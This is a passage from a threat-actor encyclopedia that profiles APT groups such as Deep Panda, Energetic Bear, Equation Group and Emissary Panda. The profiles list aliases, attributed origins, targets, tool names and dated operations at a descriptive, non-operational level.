institution in the Middle +East. The attack involved a spear-phishing email with a subject of +Project Offer + and a malicious Word document as an attachment. + +Jul 2018 +Attack on Middle East Government +This attack diverged from previous attacks we observed from this +group as it involved spear-phishing emails sent to targeted +organizations with password protected RAR archive attachments that +contained malicious Excel Web Query files (.iqy). + +Jan 2019 +New Attacks in the Middle East +360 Threat Intelligence Center captured several lure Excel documents +written in Arabic in January 9, 2019. A backdoor dropped by macro in +the lure documents can communicate with C2 server through DNS +tunnel, as well as Google Drive API. + + +Information + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Deep Panda, APT 26, Shell Crew, WebMasters, KungFu Kittens +Names +Deep Panda (CrowdStrike) +APT 26 (Mandiant) +Shell Crew (RSA) +WebMasters (Kaspersky) +KungFu Kittens (FireEye) +Group 13 (Talos) +PinkPanther (RSA) +Black Vine (Symantec) +Country +China +Motivation +Information theft, espionage and financial gain +Description +Deep Panda is a suspected Chinese threat group known to target many industries, +including government, defense, financial, and telecommunications. The intrusion +into healthcare company Anthem has been attributed to Deep Panda. This group is +also known as Shell Crew, WebMasters, KungFu Kittens, and PinkPanther. Deep +Panda also appears to be known as Black Vine based on the attribution of both +group names to the Anthem intrusion. Some analysts track Deep Panda and APT +19, C0d0so as the same group, but it is unclear from open source information if the +groups are the same. +Observed +Sectors: Defense, Financial, Government, Non-profit organizations, +Telecommunications and Think Tanks. +Countries: Australia, Southeast Asia and USA. +Tools used +Cobalt Strike, Derusbi, JerseyMikes, Mivast, PlugX, Sakula, StreamEx and Tasklist. +Operations +performed +Dec 2012 +Attack and IE 0day Information Used Against Council on Foreign +Relations +Regarding information +s posted on the Washington Free Beacon, +infected CFR.org website was used to attack visitors in order to +extract valuable information +s. The +drive-by + attack was detected +around 2:00 pm on Wednesday 26 December and CFR members who +visited the website between Wednesday and Thursday could have +been infected and their data compromised, the specialists said. + +Dec 2012 +Capstone Turbine Corporation Also Targeted in the CFR Watering +Hole Attack + +Mar 2013 +Breach of the US Department of Labor website +On April 30, 2013, CrowdStrike was alerted to a strategic web +compromise on a US Department of Labor website that was +redirecting visitors to an attacker +s infrastructure. Eight other +compromised sites were also reported to be similarly compromised +with the data suggesting that this campaign began in mid-March. + +Early +2014 +Breaches of National Security Think Tanks +This actor, who was engaged in targeting and collection of Southeast +Asia policy information, suddenly began targeting individuals with a tie +Threat Group Cards: A Threat Actor Encyclopedia +to Iraq/Middle East issues. This is undoubtedly related to the recent +Islamic State of Iraq and the Levant (ISIS) takeover of major parts of +Iraq and the potential disruption for major Chinese oil interests in that +country. In fact, Iraq happens to be the fifth-largest source of crude oil +imports for China and the country is the largest foreign investor in +Iraq +s oil sector. + +Mar 2014 +Breach of the US Office of Personnel Management +OPM investigates a breach of its computer networks dating back to +March 2014. Authorities trace the intrusion to China. OPM offers +employees free credit monitoring and assures employees that no +personal data appears to have been stolen. + +Apr 2014 +Breach of health insurance company Anthem + +Aug 2014 +Breach of USIS +It emerges that USIS, a background check provider for the U.S. +Department of Homeland Security, was hacked. USIS offers 27,000 +DHS employees credit monitoring through AllClearID (full disclosure: +AllClear is an advertiser on this blog). Investigators say Chinese are +hackers responsible, and that the attackers broke in by exploiting a +vulnerability in an enterprise management software product from SAP. + +Jul 2014 +Sakula Malware to Target Organizations in Multiple Sectors +Over the last few months, the CrowdStrike Intelligence team has been +tracking a campaign of highly targeted events focused on entities in +the U.S. Defense Industrial Base (DIB), healthcare, government, and +technology sectors. This campaign infected victims with Sakula +malware variants that were signed with stolen certificates. + +Nov 2014 +Breaches of Australian media organizations ahead of G20 +We started to see activity over the last couple of weeks targeting +Australian media organizations and we believe that +s related to the +G20, + Dmitri Alperovitch, co-founder of US computer security +company CrowdStrike, told the ABC +s 7.30 program. + +Dec 2014 +Breach of KeyPoint Government Solutions +KeyPoint Government Solutions, which took over the bulk of federal +background checks after one of its competitors was hacked, also +recently suffered a computer network breach, officials said Thursday. + +Threat Group Cards: A Threat Actor Encyclopedia +Counter +operations +May 2015 +Breach of health insurance company Premera Blue Cross +Premera Blue Cross, one of the insurance carriers that participates in +the Federal Employees Health Benefits Program, discloses a breach +affecting 11 million customers. Federal auditors at OPM warned +Premera three weeks prior to the breach that its network security +procedures were inadequate. + +May 2015 +Breach of health insurance company Carefirst Blue Cross +CareFirst BlueCross BlueShield on Wednesday said it had been hit +with a data breach that compromised the personal information on +approximately 1.1 million customers. There are indications that the +same attack methods may have been used in this intrusion as with +breaches at Anthem and Premera, incidents that collectively involved +data on more than 90 million Americans. + +May 2015 +StreamEx malware +Cylance SPEAR has identified a newer family of samples deployed by +Shell Crew that has flown under AV +s radar for more than a year and a +half. Simple programmatic techniques continue to be effective in +evading signature-based detection. + +US Arrests Chinese Man Involved With Sakula Malware Used in OPM and +Anthem Hacks (2017) + +U.S. Indicts Chinese Hacker-Spies in Conspiracy to Steal Aerospace Secrets +(2018) + +Chinese national indicted for 2015 Anthem breach (2019) + +Information + + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Desert Falcons +Names +Desert Falcons (Kaspersky) +APT-C-23 (360) +Two-tailed Scorpion (360) +Country +Gaza +Motivation +Information theft and espionage +Description +(Kaspersky) The Global Research and Analysis Team (GReAT) at Kaspersky Lab +has uncovered new targeted attacks in the Middle East. Native Arabic-speaking +cybercriminals have built advanced methods and tools to deliver, hide and operate +malware that they have also developed themselves. This malware was originally +discovered during an investigation of one of the attacks in the Middle East. +Political activities and news are being actively used by the cybercriminals to entice +victims into opening files and attachments. Content has been created with +professionalism, with well-designed visuals and interesting, familiar details for the +victims, as if the information were long awaited. +The victims of the attacks to date have been carefully chosen; they are active and +influential in their respective cultures, but also attractive to the cybercriminals as a +source of intelligence and a target for extortion. +The attackers have been operating for more than two years now, running different +campaigns, targeting different types of victims and different types of devices +(including Windows- and Android-based). We suspect that at least 30 people +distributed across different countries are operating the campaigns +Observed +Sectors: Defense, Education, Government and Infrastructure. +Countries: Albania, Algeria, Australia, Belgium, Bosnia and Herzegovina, Canada, +China, Cyprus, Denmark, Egypt, France, Germany, Greece, Hungary, India, Iran, +Iraq, Israel, Italy, Japan, Jordan, Kuwait, Lebanon, Libya, Mali, Mauritania, Mexico, +Morocco, Netherlands, Norway, Pakistan, Palestine, Portugal, Qatar, Romania, +Russia, Saudi Arabia, South Korea, Sudan, Sweden, Syria, Taiwan, Turkey, UAE, +Ukraine, USA, Uzbekistan, Yemen and Zimbabwe. +Tools used +FrozenCell, GlanceLove, GnatSpy, KASPERAGENT, MICROPSIA, VAMP and +ViperRAT. +Operations +performed +Jan 2015 +Operation +Arid Viper +Operation Arid Viper attacked five Israeli-based organizations in the +government, transport, infrastructure, military, and academic +industries, and one organization in Kuwait using spear-phishing emails +that dropped a pornographic video on a victim's computer. + + +Sep 2015 +Proofpoint researchers recently intercepted and analyzed phishing +emails distributing Arid Viper malware payloads with some noteworthy +updates. +As with the originally documented examples, these messages were +part of narrow campaigns targeting specific industry verticals: +telecoms, high tech, and business services, primarily in Israel. +Threat Group Cards: A Threat Actor Encyclopedia + +Information +Jul 2016 +Around July last year, more than a 100 Israeli servicemen were hit by +a cunning threat actor. The attack compromised their devices and +exfiltrated data to the attackers + command and control server. In +addition, the compromised devices were pushed Trojan updates, +which allowed the attackers to extend their capabilities. The operation +remains active at the time of writing this post, with attacks reported as +recently as February 2017. + +Apr 2017 +ThreatConnect has identified a KASPERAGENT malware campaign +leveraging decoy Palestinian Authority documents. The samples date +from April + May 2017, coinciding with the run up to the May 2017 +Palestinian Authority elections. + +Apr 2017 +We identified one specific spear phishing campaign launched against +targets within Palestine, and specifically against Palestinian law +enforcement agencies. This campaign started in April 2017, using a +spear phishing campaign to deliver the MICROPSIA payload in order +to remotely control infected systems. + +Sep 2017 +FrozenCell is the mobile component of a multi-platform attack we've +seen a threat actor known as "Two-tailed Scorpion/APT-C-23," use to +spy on victims through compromised mobile devices and desktops. + +Dec 2017 +Recently, Trend Micro researchers came across a new mobile +malware family which we have called GnatSpy. We believe that this is +a new variant of VAMP, indicating that the threat actors behind APTC-23 are still active and continuously improving their product. Some +C&C domains from VAMP were reused in newer GnatSpy variants, +indicating that these attacks are connected. We detect this new family +as ANDROIDOS_GNATSPY. + + +Threat Group Cards: A Threat Actor Encyclopedia +DNSpionage +Names +DNSpionage (Talos) +Country +Iran +Sponsor +State-sponsored +Motivation +Information theft and espionage +Description +(Talos) Cisco Talos recently discovered a new campaign targeting Lebanon and the +United Arab Emirates (UAE) affecting .gov domains, as well as a private Lebanese +airline company. Based on our research, it's clear that this adversary spent time +understanding the victims' network infrastructure in order to remain under the radar +and act as inconspicuous as possible during their attacks. +Based on this actor's infrastructure and TTPs, we haven't been able to connect +them with any other campaign or actor that's been observed recently. This +particular campaign utilizes two fake, malicious websites containing job postings +that are used to compromise targets via malicious Microsoft Office documents with +embedded macros. The malware utilized by this actor, which we are calling +"DNSpionage," supports HTTP and DNS communication with the attackers. +Observed +Sectors: Airlines, Government, Law Enforcement, Telecommunications and Internet +infrastructure. +Countries: Albania, Cyprus, Egypt, Iraq, Jordan, Kuwait, Lebanon, Libya, North +Africa, Sweden, UAE and USA. +Tools used +DNSpionage and Karkoff. +Operations +performed +Apr 2019 +Information + + + + +DNSpionage brings out the Karkoff + +Threat Group Cards: A Threat Actor Encyclopedia +Domestic Kitten +Names +Domestic Kitten (Check Point) +Country +Iran +Motivation +Information theft and espionage +Description +(Check Point) Recent investigations by Check Point researchers reveal an +extensive and targeted attack that has been taking place since 2016 and, until now, +has remained under the radar due to the artful deception of its attackers towards +their targets. Through the use of mobile applications, those behind the attack use +fake decoy content to entice their victims to download such applications, which are +in fact loaded with spyware, to then collect sensitive information about them. +Interestingly, these targets include Kurdish and Turkish natives and ISIS +supporters. Most interesting of all, though, is that all these targets are actually +Iranians citizens. +Considering the nature of the target, the data collected about these groups provides +those behind the campaign with highly valuable information that will no doubt be +leveraged in further future action against them. Indeed, the malware collects data +including contact lists stored on the victim +s mobile device, phone call records, SMS +messages, browser history and bookmarks, geo-location of the victim, photos, +surrounding voice recordings and more. +Observed +Countries: Afghanistan, Iran, Iraq and UK. The targets are Kurdish and Turkish +natives and ISIS supporters. +Tools used +Information + +Threat Group Cards: A Threat Actor Encyclopedia +Donot Team +Names +Donot Team (ASERT) +APT-C-35 (360) +Country +[Unknown] +Motivation +Information theft and espionage +Description +(ASERT) In late January 2018, ASERT discovered a new modular malware +framework we call "yty". The framework shares a striking resemblance to the +EHDevel framework. We believe with medium confidence that a team we call +internally as "Donot Team" is responsible for the new malware and will resume +targeting of South Asia. +In a likely effort to disguise the malware and its operations, the authors coded +several references into the malware for football +it is unclear whether they mean +American football or soccer. The theme may allow the network traffic to fly under +the radar. +The actors use false personas to register their domains instead of opting for privacy +protection services. Depending on the registrar service chosen, this could be seen +as another cost control measure. The actors often used typo-squatting to slightly +alter a legitimate domain name. In contrast, the registration information used +accurate spelling, possibly indicating the domain naming was intentional, typos +included. Each unique registrant usually registered only a few domains, but +mistakenly reused phone numbers or the registration data portrayed a similar +pattern across domains. +Observed +Sectors: Government. +Countries: Pakistan. +Tools used +EHDevel and yty. +Operations +performed +Apr 2019 +Information + +StealJob: New Android Malware +Recently, we have observed a large-scale upgrade of its malicious +Android APK framework to make it more stable and practical. Since +the new APK framework is quite different from the one used in the +past, we named it as StealJob since + is frequently used in the +code. + +Threat Group Cards: A Threat Actor Encyclopedia +DragonOK +Names +DragonOK (FireEye) +Country +China +Motivation +Information theft and espionage +Description +DragonOK is a threat group that has targeted Japanese organizations with phishing +emails. Due to overlapping TTPs, including similar custom tools, DragonOK is +thought to have a direct or indirect relationship with the threat group Moafee. It is +known to use a variety of malware, including Sysget/HelloBridge, PlugX, Poison Ivy, +FormerFirstRat, NFlog, and NewCT. +Observed +Sectors: High-Tech and Manufacturing. +Countries: Cambodia, Japan, Russia, Taiwan and Tibet. +Tools used +FormerFirstRAT, HelloBridge, HTRAN, IsSpace, KHRAT, NewCT, NFlog, PlugX, +Poison Ivy, Rambo, Sysget and TidePool. +Operations +performed +Jan 2015 +This campaign involved five separate phishing attacks, each carrying +a different variant of Sysget malware, also known as HelloBridge. The +malware was included as an attachment intended to trick the user into +opening the malware. +All five phishing campaigns targeted a Japanese manufacturing firm +over the course of two months, but the final campaign also targeted a +separate Japanese high-tech organization. + +2016 +In recent months, Unit 42 has observed a number of attacks that we +attribute to this group. Multiple new variants of the previously +discussed sysget malware family have been observed in use by +DragonOK. Sysget malware was delivered both directly via phishing +emails, as well as in Rich Text Format (RTF) documents exploiting the +CVE-2015-1641 vulnerability that in turn leveraged a very unique +shellcode. + +Jan 2017 +Cybersecurity expert Niklas Femerstrand in an email yesterday +pointed out that while servers in several different countries appear to +be the origin the attack, it has been linked to the DragonOK campaign. +The DragonOK campaign has previously [in 2014] targeted +organizations in Taiwan, Japan, Tibet and Russia, and political +organizations in Cambodia since at least January, 2017, + he wrote, +adding that there are +strong indications + the campaign is +operation funded by China + +Information + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +DustSquad +Names +DustSquad (Kaspersky) +Country +[Unknown] +Motivation +Information theft and espionage +Description +(Kaspersky) For the last two years we have been monitoring a Russian-language +cyberespionage actor that focuses on Central Asian users and diplomatic entities. +We named the actor DustSquad and have provided private intelligence reports to +our customers on four of their campaigns involving custom Android and Windows +malware. In this blogpost we cover a malicious program for Windows called +Octopus that mostly targets diplomatic entities. +The name was originally coined by ESET in 2017 after the 0ct0pus3.php script +used by the actor on their old C2 servers. We also started monitoring the malware +and, using Kaspersky Attribution Engine based on similarity algorithms, discovered +that Octopus is related to DustSquad, something we reported in April 2018. In our +telemetry we tracked this campaign back to 2014 in the former Soviet republics of +Central Asia (still mostly Russian-speaking), plus Afghanistan. +Observed +Sectors: Government. +Countries: Afghanistan and Central Asia. +Tools used +Octopus. +Information + +Threat Group Cards: A Threat Actor Encyclopedia +Dust Storm +Names +Dust Storm (Cylance) +Country +[Unknown] +Sponsor +Seems state-sponsored +Motivation +Information theft and espionage +Description +(Cylance) Very little public information was available throughout 2010 on this threat, +despite the group +s primary backdoor gaining some level of prominence in targeted +Asian attacks. This may be explained by the group +s early reliance on Dynamic +DNS domains for their command and control (C2) infrastructure, as well as their +use of public RATs like Poison Ivy and Gh0st RAT for second-stage implants. +It wasn +t until June 2011 that Operation Dust Storm started to garner some notoriety +from a series of attacks which leveraged an unpatched Internet Explorer 8 +vulnerability, CVE-2011-1255, to gain a foothold into victim networks. In these +attacks, a link to the exploit was sent via a spear phishing email from a purported +Chinese student seeking advice or asking the target a question following a +presentation. +As to other documented cases, the attacker started interacting with the infected +machine within minutes of compromise to begin manual network and host +enumeration. +In October 2011, the group attempted to take advantage of the ongoing Libyan +crisis at the time and phish the news cycle regarding Muammar Gaddafi +s death on +October 20, 2011. It appears that in addition to some US defense targets, this +campaign was also directed at a Uyghur mailing list. This time, the group used a +specially crafted malicious Windows Help (.hlp) file, which exploited CVE-20101885. +Observed +Sectors: Energy and Oil and gas. +Countries: Japan, South Korea, USA, Europe and Southeast Asia. +Tools used +Gh0st RAT, Misdat, MiS-Type, Poison Ivy and S-Type. +Information + + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Elderwood, Sneaky Panda +Names +Elderwood (Symantec) +Elderwood Gang (Symantec) +Sneaky Panda (CrowdStrike) +SIG22 (NSA) +Beijing Group (SecureWorks) +Country +China +Motivation +Information theft and espionage +Description +(Symantec) In 2009, Google was attacked by a group using the Hydraq (Aurora) +Trojan horse. Symantec has monitored this group +s activities for the last three years +as they have consistently targeted a number of industries. Interesting highlights in +their method of operations include: the use of seemingly an unlimited number of +zero-day exploits, attacks on supply chain manufacturers who service the target +organization, and a shift to +watering hole + attacks (compromising certain websites +likely to be visited by the target organization). The targeted industry sectors include, +but are not restricted to; defense, various defense supply chain manufacturers, +human rights and non-governmental organizations (NGOs), and IT service +providers. These attackers are systematic and re-use components of an +infrastructure we have termed the +Elderwood platform +. The name +Elderwood +comes from a source code variable used by the attackers. This attack platform +enables them to quickly deploy zero-day exploits. Attacks are deployed through +spear phishing emails and also, increasingly, through Web injections in watering +hole attacks. +It is likely the attackers have gained access to the source code for some widely +used applications, or have thoroughly reverse-engineered the compiled applications +in order to discover these vulnerabilities. The vulnerabilities are used as needed, +often within close succession of each other if exposure of any of the vulnerabilities +is imminent. The scale of the attacks, in terms of the number of victims and the +duration of the attacks, are another indication of the resources available to the +attackers. Victims are attacked, not for petty crime or theft, but for the wholesale +gathering of intelligence and intellectual property. The resources required to identify +and acquire useful information +let alone analyze that information +could only be +provided by a large criminal organization, attackers supported by a nation state, or +a nation state itself. +Observed +Sectors: Defense, Education, Energy, Financial, and Government. +Countries: Australia, Canada, China, Denmark, Hong Kong, India, Switzerland, +Taiwan, UK and USA. +Tools used +Briba, Gh0st RAT, Hydraq, Linfo, Naid, Nerex, Pasam, Poison Ivy, Vasport and +Wiarp. +Operations +performed +2009 +Operation Aurora +First publicly disclosed by Google on January 12, 2010, in a blog post, +the attacks began in mid-2009 and continued through December +2009. +The attack has been aimed at dozens of other organizations, of which +Adobe Systems, Juniper Networks and Rackspace have publicly +confirmed that they were targeted. According to media reports, Yahoo, +Symantec, Northrop Grumman, Morgan Stanley and Dow Chemical +were also among the targets. + + +Threat Group Cards: A Threat Actor Encyclopedia +Nov 2010 +Visitors to Amnesty International's Hong Kong website are being +bombarded with a host of lethal exploits, including one that attacks an +unpatched vulnerability in Microsoft's Internet Explorer browser, +researchers at security firm Websense said. + +May 2012 +Amnesty International UK's website was hacked early this week in an +assault ultimately geared towards planting malware onto the PCs of +visiting surfers. + +Information + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +El Machete +Names +El Machete (Kaspersky) +Country +[Unknown] +Motivation +Information theft and espionage +Description +(Kaspersky) +Machete + is a targeted attack campaign with Spanish speaking roots. +We believe this campaign started in 2010 and was renewed with an improved +infrastructure in 2012. The operation may be still +active +The malware is distributed via social engineering techniques, which includes spearphishing emails and infections via Web by a fake Blog website. We have found no +evidence of exploits targeting zero-day vulnerabilities. Both the attackers and the +victims appear to be Spanish-speaking. +Observed +Sectors: Defense, Embassies, Government, and Telecommunications. +Countries: Argentina, Belgium, Bolivia, Brazil, Canada, China, Colombia, Cuba, +Dominican Republic, Ecuador, France, Germany, Guatemala, Malaysia, Nicaragua, +Mexico, South Korea, Spain, Peru, Russia, Spain, Sweden, UK, Ukraine, USA and +Venezuela among others. +In some cases, such as Russia, the target appears to be an embassy from one of +the countries of this list. +Tools used +Machete. +Operations +performed +Mar 2017 +Information + +ve found that this group has continued to operate successfully, +predominantly in Latin America, since 2014. All attackers simply +moved to new C2 infrastructure, based largely around dynamic DNS +domains, in addition to making minimal changes to the malware in +order to evade signature-based detection. + +Threat Group Cards: A Threat Actor Encyclopedia +Energetic Bear, Dragonfly +Names +Energetic Bear (CrowdStrike) +Dragonfly (Symantec) +Crouching Yeti (Kaspersky) +Group 24 (Talos) +Koala Team (iSight) +Iron Liberty (SecureWorks) +Electrum (Dragos) +Country +Russia +Motivation +Sabotage and destruction +Description +Dragonfly is a cyberespionage group that has been active since at least 2011. They +initially targeted defense and aviation companies but shifted to focus on the energy +sector in early 2013. They have also targeted companies related to industrial +control systems. +According to Kaspersky, Crouching Yeti has been operating since at least 2010 and +has infected roughly 2,800 targets in 38 countries, and in industries as diverse as +education and pharmaceuticals. +A similar group emerged in 2015 and was identified by Symantec as Berserk Bear, +Dragonfly 2.0. There is debate over the extent of the overlap between Dragonfly +and Berserk Bear, Dragonfly 2.0, but there is sufficient evidence to lead to these +being tracked as two separate groups. +Observed +Sectors: Construction, Education, Energy, Industrial, IT, Manufacturing, Oil and gas +and Pharmaceutical. +Countries: Canada, France, Germany, Greece, Italy, Poland, Romania, Russia, +Serbia, Spain, Turkey, UK, Ukraine and USA. +Tools used +Commix, CrashOverride, Dirsearch, Dorshel, Havex RAT, Hello, Heriplor, Impacket, +Industroyer, Inveigh, Karagany, Lightsout, Listrix, nmap, Oldrea, PHPMailer, +PSExec, SMBTrap, Sqlmap, Subbrute, Sublist3r, Sysmain, Wpscan and WSO. +Operations +performed +Feb 2013 +Spam campaign +The Dragonfly group has used at least three infection tactics against +targets in the energy sector. The earliest method was an email spear +phishing campaign, which saw selected executives and senior +employees in target companies receive emails containing a malicious +PDF attachment. Infected emails had one of two subject lines: +account + or +Settlement of delivery problem + +Jun 2013 +Watering Hole Attacks using Lightsout +In June 2013, the attackers shifted their focus to watering hole +attacks. They compromised a number of energy-related websites and +injected an iframe into each of them. This iframe then redirected +visitors to another compromised legitimate website hosting the +Lightsout exploit kit. This in turn exploited either Java or Internet +Explorer in order to drop Oldrea or Karagany on the victim +s computer. +Sep 2013 +Watering Hole Attacks using Hello +In September 2013, Dragonfly began using a new version of this +exploit kit, known as the Hello exploit kit. The landing page for this kit +Threat Group Cards: A Threat Actor Encyclopedia +contains JavaScript which fingerprints the system, identifying installed +browser plugins. The victim is then redirected to a URL which in turn +determines the best exploit to use based on the information collected. +2013 +Trojanized software +The most ambitious attack vector used by Dragonfly was the +compromise of a number of legitimate software packages. Three +different ICS equipment providers were targeted and malware was +inserted into the software bundles they had made available for +download on their websites +Feb 2014 +LightsOut EK Targets Energy Sector +Late last year, the story broke that threat actors were targeting the +energy sector with Remote Access Tools and Intelligence gathering +malware. It would seem that the attackers responsible for this threat +are back for more. This particular APT struck late February between +2/24-2/26. + +Dec 2015 +Attack on Energy Companies in the Ukraine +According to a statement posted this week on the official website of +the Ukrainian security service SBU, Russian special services allegedly +planted malware on the networks of several regional power +companies. The malicious software is said to have been discovered +by employees of the SBU. +The SBU said the attackers also flooded the targeted companies +technical support phone lines. The agency removed the malware and +launched an investigation. +Just before Christmas, power outages were reported in the IvanoFrankivsk Oblast region of Ukraine. The outages were blamed on +outsiders who remotely tampered with automatic control systems. The +power company responsible for the region also reported that its call +center suffered a technical failure caused by a barrage of calls. + +2016 +This report by Kaspersky Lab ICS CERT presents information on +identified servers that have been infected and used by the group. The +report also includes the findings of an analysis of several webservers +compromised by the Energetic Bear group during 2016 and in early +2017. + +Dec 2016 +Power outage at Ukrenergo in the Ukraine +Preliminary findings indicate that workstations and Supervisory +Control and Data Acquisition (SCADA) systems, linked to the 330 +kilowatt sub-station +North +, were influenced by external sources +outside normal parameters, Ukrenergo said in comments emailed to +Reuters. + + +Apr 2017 +Breach of EirGrid in the UK +Threat Group Cards: A Threat Actor Encyclopedia +The breach of the Vodafone network allowed the hackers to create a +type of wiretap known as Generic Routing Encapsulation (GRE) to +tunnel into EirGrid's Vodafone router located in Shotton. + +May 2017 +Watering Hole Attack on Turkish critical infrastructure +Through our web crawling network, we were able to determine that a +website belonging to a Turkish energy company was being used in a +watering hole attack targeting people associated with Turkish critical +infrastructure. Compromised via a supply chain attack, the site was +injected with SMB credential-harvesting malware. + +Information + + + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Equation Group +Names +Equation Group (real name) +Tilded Team (CrySys) +Country +Sponsor +State-sponsored, believed to be tied to the NSA +s Tailored Access Operations unit. +Motivation +Sabotage and destruction +Description +(Ars Technica) Kaspersky researchers have documented 500 infections by +Equation Group in at least 42 countries, with Iran, Russia, Pakistan, Afghanistan, +India, Syria, and Mali topping the list. Because of a self-destruct mechanism built +into the malware, the researchers suspect that this is just a tiny percentage of the +total; the actual number of victims likely reaches into the tens of thousands. +A long list of almost superhuman technical feats illustrate Equation Group's +extraordinary skill, painstaking work, and unlimited resources. They include: +The use of virtual file systems, a feature also found in the highly sophisticated +Regin malware. Recently published documents provided by Ed Snowden +indicate that the NSA used Regin to infect the partly state-owned Belgian firm +Belgacom. +The stashing of malicious files in multiple branches of an infected computer's +registry. By encrypting all malicious files and storing them in multiple branches +of a computer's Windows registry, the infection was impossible to detect using +antivirus software. +Redirects that sent iPhone users to unique exploit Web pages. In addition, +infected machines reporting to Equation Group command servers identified +themselves as Macs, an indication that the group successfully compromised +both iOS and OS X devices. +The use of more than 300 Internet domains and 100 servers to host a sprawling +command and control infrastructure. +USB stick-based reconnaissance malware to map air-gapped networks, which +are so sensitive that they aren't connected to the Internet. Both Stuxnet and the +related Flame malware platform also had the ability to bridge airgaps. +An unusual if not truly novel way of bypassing code-signing restrictions in +modern versions of Windows, which require that all third-party software +interfacing with the operating system kernel be digitally signed by a recognized +certificate authority. To circumvent this restriction, Equation Group malware +exploited a known vulnerability in an already signed driver for CloneCD to +achieve kernel-level code execution. +Taken together, the accomplishments led Kaspersky researchers to conclude that +Equation Group is probably the most sophisticated computer attack group in the +world, with technical skill and resources that rival the groups that developed +Stuxnet and the Flame espionage malware. +Their arsenal of 0-day cyber weapons was stolen by an actor Shadow Brokers, who +leaked a large section on the internet4 and tried to sell the rest afterward. +Most notable among the dumps were 0-days such as ETERNALBLUE and +ETERNALROMANCE that were used by other groups for the creation of infamous +ransomware explosions such as WannaCry and NotPetya. +4 See ThaiCERT Whitepaper +Shadow Broker - Equation Group Hack +Threat Group Cards: A Threat Actor Encyclopedia +Equation Group is also linked to the creation of the Stuxnet worm that aimed to +sabotage nuclear reactors in Iran in 2010, and/or the +follow-up + threats Duqu, +Flame or Gauss. Although neither country has openly admitted responsibility, +Stuxnet is believed to be a jointly built American/Israeli (allegedly, Unit 8200) cyber +weapon. + +Observed +Sectors: Aerospace, Defense, Energy, Government, Media, Nanotechnology, +Nuclear research, Oil and gas, Telecommunications, Transportation, Islamic +activists and scholars, and companies developing cryptographic technologies. +Countries: Afghanistan, Bangladesh, Belgium, Brazil, Ecuador, France, Germany, +Hong Kong, India, Iran, Iraq, Israel, Kazakhstan, Lebanon, Libya, Malaysia, Mali, +Mexico, Nigeria, Pakistan, Palestine, Philippines, Qatar, Russia, Singapore, +Somalia, South Africa, Sudan, Switzerland, Syria, UAE, UK, USA and Yemen. +Tools used +DarkPulsar, DOUBLEFANTASY, DoublePulsar, EQUATIONDRUG, +EQUATIONLASER, EQUESTRE, FANNY, GROK, Lambert, Plexor, Regin, +TRIPLEFANTASY and many others. +Information + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Emissary Panda, APT 27, LuckyMouse, Bronze Union +Names +Emissary Panda (CrowdStrike) +APT 27 (Mandiant) +LuckyMouse (Kaspersky) +Bronze Union (Scureworks) +TG-3390 (SecureWorks) +TEMP.Hippo (Symantec) +Group 35 (Talos) +Country +China +Motivation +Information theft and espionage +Description +Threat Group-3390 is a Chinese threat group that has extensively used strategic +Web compromises to target victims. The group has been active since at least 2010 +and has targeted organizations in the aerospace, government, defense, technology, +energy, and manufacturing sectors. +Observed +Sectors: Defense, Education, Embassies, Government, Technology, +Telecommunications and Think Tanks. +Countries: Australia, Canada, China, Hong Kong, India, Iran, Israel, Japan, Middle +East, Philippines, Russia, South Korea, Taiwan, Thailand, Tibet, UK and USA. +Tools used +Antak, ASPXSpy, China Chopper, Gh0st RAT, gsecdump, HTTPBrowser, Hunter, +HyperBro, Mimikatz, Nishang, OwaAuth, PlugX, PSExec, Upatre, Windows +Credential Editor and ZipToken. +Operations +performed +2010 +Operation +Iron Tiger +Operation Iron Tiger is a targeted attack campaign discovered to have +stolen trillions of data from defense contractors in the US, including +stolen emails, intellectual property, strategic planning documents +data and records that could be used to destabilize an organization. + + +2015 +Penetration of networks for industrial espionage +Designated as Threat Group 3390 and nicknamed "Emissary Panda" +by researchers, the hacking group has compromised victims' networks +largely through "watering hole" attacks launched from over 100 +compromised legitimate websites, sites picked because they were +known to be frequented by those targeted in the attack. + +Jul 2017 +Operation +PZChao +The past few years have seen high-profile cyber-attacks shift to +damaging the targets + digital infrastructures to stealing highly sensitive +data, silently monitoring the victim and constantly laying the ground for +a new wave of attacks. +This is also the case of a custom-built piece of malware that we have +been monitoring for several months as it wrought havoc in Asia. Our +threat intelligence systems picked up the first indicators of +compromise in July last year, and we have kept an eye on the threat +ever since. +Threat Group Cards: A Threat Actor Encyclopedia + +Mar 2018 +Campaign targeting a national data center in the Central Asia +The choice of target made this campaign especially significant +meant the attackers gained access to a wide range of government +resources at one fell swoop. We believe this access was abused, for +example, by inserting malicious scripts in the country +s official +websites in order to conduct watering hole attacks. + +Apr 2019 +In April 2019, Unit 42 observed the Emissary Panda (AKA APT27, TG3390, Bronze Union, Lucky Mouse) threat group installing webshells +on Sharepoint servers to compromise Government Organizations of +two different countries in the Middle East. + +Information + + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +FIN4, Wolf Spider +Names +FIN4 (FireEye) +Wolf Spider (CrowdStrike) +Country +Romania +Motivation +Financial gain +Description +(FireEye) FireEye tracks a threat group that we call "FIN4," whose intrusions seem +to have a different objective: to obtain an edge in stock trading. FIN4 appears to +conduct intrusions that are focused on a single objective: obtaining access to +insider information capable of making or breaking the stock prices of public +companies. The group specifically targets the emails of C-level executives, legal +counsel, regulatory, risk, and compliance personnel, and other individuals who +would regularly discuss confidential, market-moving information. +FIN4 has targeted over 100 companies since at least mid-2013. All of the targeted +organizations are either public companies or advisory firms that provide services to +public companies (such as investor relations, legal, and investment banking firms). +Over two-thirds of the targeted organizations are healthcare and pharmaceutical +companies. FIN4 probably focuses on these types of organizations because their +stocks can move dramatically in response to news of clinical trial results, regulatory +decisions, or safety and legal issues. +Observed +Sectors: Financial, Healthcare and Pharmaceutical. +Tools used +Information + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +FIN5 +Names +FIN5 (FireEye) +Country +[Unknown] +Motivation +Financial gain +Description +FIN5 is a financially motivated threat group that has targeted personally identifiable +information and payment card information. The group has been active since at least +2008 and has targeted the restaurant, gaming, and hotel industries. The group is +made up of actors who likely speak Russian. +(DarkReading) No 0days. No spear-phishing, 